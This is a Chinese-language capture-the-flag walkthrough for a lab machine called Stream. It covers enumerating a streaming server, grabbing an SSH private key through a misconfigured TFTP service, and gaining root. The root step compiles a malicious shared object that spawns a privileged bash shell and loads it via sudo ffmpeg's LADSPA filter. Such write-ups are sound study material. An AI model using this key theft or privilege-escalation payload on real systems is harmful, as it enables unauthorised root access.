靶机Stream

userflag

image-20260315194546800

目录爆破基本上没得到啥信息

image-20260315194912819

80没得到什么有效信息看看其它的,流媒体服务器。

流媒体服务器(Media Streaming Server) 是一种专门用来 传输音视频流 的服务器。

这里的8888和8889都是支持网页去看视频的,然后另外两个端口分别是通过rtmp和rtsp。所以我们去枚举一下接口发现/live有个视频

1
2
3
4
http://192.168.3.13:8888/live
http://192.168.3.13:8889/live
ffplay rtmp://10.27.220.191:1935/live
ffplay rtsp://192.168.3.13:8554/live

四种方式都可以拿到视频

image-20260315200152921

拿去ssh试试,发现ok,那么就直接读userflag即可

rootflag

接着就是提权

image-20260315200437071

UDP 69 是TFTP的默认端口

TFTP 服务是一个非常简单的文件传输服务。sudo和suid都没有,看看进程ps aux

image-20260315201400861

root以treadin的身份去启动tftp,去连接一下本地的tftp(启动命令里不加 -s,TFTP 服务的「根目录」会变成运行用户的家目录)

连上之后我们尝试去看看treadin有没有ssh的密钥

image-20260315203026510

get到公钥认证文件,同时我们也知道了是要的文件名id_ed25519,get到复制到kali

image-20260315203252774

image-20260315203336838

咋和前面那个靶机提权思路类似哈哈,靶机貌似没有gcc,不过没关系,我们到kali上用就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
cat << EOF > /tmp/shell.c
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init() {
setuid(0);
setgid(0);
system("/bin/bash -p");
}
EOF

gcc -shared -fPIC /tmp/shell.c -o /tmp/shell.so

scp -i test shell.so treadin@target:/tmp/

回到靶机

1
sudo ffmpeg -f lavfi -i anullsrc -af "ladspa=file=/tmp/shell.so" -f null -

image-20260315204242936